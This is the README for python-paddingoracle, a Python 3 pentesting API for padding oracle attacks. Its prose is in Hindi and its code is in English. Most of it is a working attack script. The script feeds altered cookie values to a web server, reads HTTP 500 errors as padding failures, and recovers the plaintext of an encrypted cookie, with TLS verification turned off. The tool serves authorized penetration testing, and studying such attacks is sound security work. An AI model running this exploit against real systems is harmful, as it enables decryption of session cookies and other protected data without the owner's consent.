
A portable, padding oracle exploit API
PYTHON 3 के लिए अपडेटेड
python-paddingoracle एक API है जो पेनटेस्टर्स को PadBuster_ और अन्य पैडिंग ओरेकल एक्सप्लॉइट टूल्स का एक अनुकूलन योग्य विकल्प प्रदान करता है, जिन्हें विशिष्ट, प्रति-ऐप परिदृश्यों में आसानी से (भारी पुनर्लेखन के बिना) उपयोग नहीं किया जा सकता। गैर-HTTP एप्लिकेशन, रॉ सॉकेट, क्लाइंट एप्लिकेशन, अद्वितीय एन्कोडिंग आदि के बारे में सोचें।
paddingoracle API का उपयोग करने के लिए, बस PaddingOracle API से oracle() विधि लागू करें और BadPaddingException उठाएं जब डिक्रिप्टर पैडिंग ओरेकल प्रकट करता है। डेटा डिक्रिप्ट करने के लिए, कच्चे एन्क्रिप्टेड बाइट्स को ब्लॉक आकार (आमतौर पर 8 या 16) और वैकल्पिक iv पैरामीटर के साथ decrypt() में पास करें।
नीचे एक उदाहरण देखें (the example_ से): ::
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = quote(b64encode(data))
self.session.cookies['somecookie'] = somecookie
while 1:
try:
response = self.session.get('http://www.example.com/',
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
if response.ok:
logging.debug('No padding exception raised on %r', somecookie)
return
# An HTTP 500 error was returned, likely due to incorrect padding
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[1:]:
print('Usage: %s <somecookie value>' % (sys.argv[0], ))
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[1]))
padbuster = PadBuster()
cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))
python-paddingoracle एक Python कार्यान्वयन है जो काफी हद तक PadBuster_ पर आधारित है, जो Padding Oracle हमलों को करने के लिए एक स्वचालित स्क्रिप्ट है, जिसे Gotham Digital Science के Brian Holyfield ने विकसित किया है।
.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py
.. _PadBuster: https://github.com/GDSSecurity/PadBuster